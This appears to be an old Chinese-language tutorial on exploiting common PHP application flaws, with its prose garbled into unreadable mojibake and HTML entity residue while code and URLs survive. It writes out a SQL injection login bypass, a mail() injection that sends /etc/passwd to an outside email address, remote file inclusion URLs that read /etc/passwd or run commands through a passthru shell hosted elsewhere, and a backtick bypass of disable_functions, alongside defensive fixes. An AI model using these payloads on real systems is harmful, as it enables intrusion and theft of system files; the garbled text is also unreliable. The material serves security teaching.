Shaun&nbsp;ClowesExploiting&nbsp;Common&nbsp;Vulnerabilities&nbsp;in&nbsp;PHP&nbsp;Applicationsȷдĺܰǵ˺ܶ෽棬ֻǹβһЩûôᵽ⡣Ĳڽ⣬ǹ&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>&lt;br&gt;<br>1ϵƭSQL&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>Ĭģʽ£ʹ˰php.ini/usr/local/lib/php.ini£phpǴmagic_quotes_gpconдGET/POST/Cookieıĵ(')˫(")бbackslash(\)ԼԪNUL(the&nbsp;null&nbsp;byte)ᱻϷбܣʹݿܹȷѯphp-4-RC2ʱһļphp.ini-optimizedŻphp.iniȴmagic_quotes_gpcoffġĳЩܿoptimizedҲͻphp.ini-optimized/usr/local/lib/php.iniʱͱȽΣաȽϼ򵥵֤ûй˱Ҫַ&lt;br&gt;<br>&lt;br&gt;<br>select&nbsp;*&nbsp;from&nbsp;login&nbsp;where&nbsp;user='$HTTP_POST_VARS[user]'&nbsp;and&nbsp;pass='$HTTP_POST_VARS[pass]'&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>ǾͿû1'&nbsp;or&nbsp;1='1֤ͨˡǷǳŶķˣ滻&lt;br&gt;<br>&lt;br&gt;<br>select&nbsp;*&nbsp;from&nbsp;login&nbsp;where&nbsp;user='1'&nbsp;or&nbsp;1='1'&nbsp;and&nbsp;pass='1'&nbsp;or&nbsp;1='1'&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>Ϊor&nbsp;1='1'ͨˡİ취þǹвҪַоƼڴGET/POST/CookieĲSQLеıһԶĺ&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>function&nbsp;gpc2sql($str)&nbsp;{&nbsp;&lt;br&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;if(get_magic_quotes_gpc()==1)&nbsp;&lt;br&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;$str;&nbsp;&lt;br&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;&lt;br&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;addslashes($str);&nbsp;&lt;br&gt;<br>}&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>ҪΪĳܰȫֲڸϵͳ&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>&lt;br&gt;<br>2mailĵ&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>php-4.0.5ʱmail˵ʵʷʼʱӶвûкܺõļSHELLַԳִĴ⡣ֲӣ&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>mail("nobody@aol.com",&nbsp;"the&nbsp;subject",&nbsp;$message,&nbsp;"From:&nbsp;webmaster@$SERVER_NAME",&nbsp;"-fwebmaster@$SERVERNAME");&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>Ǵģ$SERVER_NAME=;mail&nbsp;san@xfocus.org&nbsp;&lt;&nbsp;/etc/passwdܰѻ뷢͵ҵˡ&nbsp;&lt;br&gt;<br>һ£phpֲﻹкüӴڰȫģʵʹõʱҪհᣬֻʾĻܣ˾Ϳˡ&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>mail⣬򵥵ǾͲҪʹþ͹˷Ƿַ(;)о޸phpԴĳext/standard/mail.cif&nbsp;(extra_cmd&nbsp;!=&nbsp;NULL)&nbsp;{&nbsp;ǰһУ&lt;br&gt;<br>&lt;br&gt;<br>extra_cmd=NULL&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>Ȼ±롣&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>&lt;br&gt;<br>3UNIXrequire,&nbsp;include&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>win汾requireincludeǲ֧HTTPFTPԶļģUNIX汾Ĭ϶֧Զ̰ļrequireincludeʲôչģΪһִС&lt;br&gt;<br>&lt;br&gt;<br>дʱΪ˳ģ黯ԼĿֲԣɱõܶrequireincludeʱñΪ磺include("$something");&nbsp;ʱûܿ$somethingûйˣǾͲ&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>ȿԿκwebûжȨ޵ļhttp://victim/test.phpǾͿurl:http://victim/test.php?something=/etc/passwd&nbsp;/etc/passwdļ&lt;br&gt;<br>&lt;br&gt;<br>ԶļĹִwww.xfocus.org½һļtest.phpǣ&lt;?passthru($cmd)?&gt;ôҾͿµurl:&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>http://victim/test.php?something=http://www.xfocus.org/test.php?cmd=uname&lt;br&gt;<br>&lt;br&gt;<br>ַʽ&lt;br&gt;<br>&lt;br&gt;<br>phpMyAdminҲ⣬ǿκ뿴ļincludeǰfile_existжļǷڣfile_existǲ֧Զļģڶְ취޷ֱʹáǿapache־ܣһphpurlsomethingָΪapache־Ҳִˣapache־ͨȽϴ̫Ϣhttp://www.securereality.com.au/sradv00008.txtᵽİ취Ƚfile&nbsp;uploadķʽѱصִĽűϴڷļϴʱĿ¼php8Ta02I֮ļʱļǴڵģͨfile_existӶִϴļִнű&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>Զinclude,&nbsp;requireʹһҪСģر԰ļԲַָʽԲûơͨ޸php.iniļȥԶļܡphp-4.0.3ǰdisable-url-fopen-wrapper&nbsp;Ժİ汾allow_url_fopen&nbsp;&nbsp;offرա&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>&lt;br&gt;<br>4disable_function&lt;br&gt;<br>&lt;br&gt;<br>php-4.0.1php.iniһdisable_functions&nbsp;,&nbsp;ܱȽãֹһЩphp.inidisable_functions&nbsp;=&nbsp;passthru&nbsp;exec&nbsp;system&nbsp;popen&nbsp;ôִЩʱֻʾWarning:&nbsp;system()&nbsp;has&nbsp;been&nbsp;disabled&nbsp;for&nbsp;security&nbsp;reasons.&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>Ҳûа취ִϵͳˡΪphp˺ܶperlԣ绹(`)ִ&lt;br&gt;<br>&lt;br&gt;<br>&lt;?&nbsp;&lt;br&gt;<br>$output&nbsp;=&nbsp;`ls&nbsp;-al`;&nbsp;&lt;br&gt;<br>echo&nbsp;"&lt;pre&gt;$output&lt;/pre&gt;";&nbsp;&lt;br&gt;<br>?&gt;&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>ֻsafe_modeܱ⣬ǿɶsafe_modeʵ̫ˣҲЩְš&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>&lt;br&gt;<br>5file&nbsp;upload&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>phpļϴhttp://www.securereality.com.au/sradv00001.htmlѾĺˣȷǸȽص⣬һҪϴļҲwebĿ¼׸ߵõϵͳһЩwebûܶļ&lt;br&gt;<br>&lt;br&gt;<br>ҿphp-4.0.3Ժṩis_uploaded_filemove_uploaded_filephp-4.0.3ϵϴļĳһҪcopyˣmove_uploaded_file棬Ƿϴļphp-4.0.2µģcopyǰһ&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>function&nbsp;is_uploaded_file($filename)&nbsp;{&nbsp;&lt;br&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!$tmp_file&nbsp;=&nbsp;get_cfg_var('upload_tmp_dir'))&nbsp;{&nbsp;&lt;br&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$tmp_file&nbsp;=&nbsp;dirname(tempnam('',&nbsp;''));&nbsp;&lt;br&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&lt;br&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;$tmp_file.='/'.basename($filename);&nbsp;&lt;br&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;User&nbsp;might&nbsp;have&nbsp;trailing&nbsp;slash&nbsp;in&nbsp;php.ini...&nbsp;*/&nbsp;&lt;br&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;(ereg_replace('/+',&nbsp;'/',&nbsp;$tmp_file)&nbsp;==&nbsp;$filename);&nbsp;&lt;br&gt;<br>}&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>©ڰȫ˺ܾãֻcopy֮ǰк֤ܶжϰ䣬ʹ֮൱Ѷȣպա&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>&lt;br&gt;<br>УǧҪԻCookiesessionΪϵжΪЩ̫ױαˡ&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>ǺǣͷȽ϶࣬뵽ټӰɣҲӭͬ־޸֮&nbsp;&lt;br&gt;<br>&lt;br&gt;<br>ο&nbsp;&lt;br&gt;<br>1PHP&nbsp;4&nbsp;ChangeLog&nbsp;http://www.php.net/ChangeLog-4.php)&nbsp;&lt;br&gt;<br>2A&nbsp;Study&nbsp;In&nbsp;Scarlet&nbsp;-&nbsp;Exploiting&nbsp;Common&nbsp;Vulnerabilities&nbsp;in&nbsp;PHP&nbsp;Applications&nbsp;&lt;br&gt;<br>&nbsp;&nbsp;&nbsp;http://www.securereality.com.au/studyinscarlet.txt)analysistķ롣&nbsp;&lt;br&gt;<br>3Remote&nbsp;command&nbsp;execution&nbsp;vulnerabilities&nbsp;in&nbsp;phpMyAdmin&nbsp;and&nbsp;phpPgAdmin&nbsp;&lt;br&gt;<br>&nbsp;&nbsp;&nbsp;http://www.securereality.com.au/sradv00008.txt)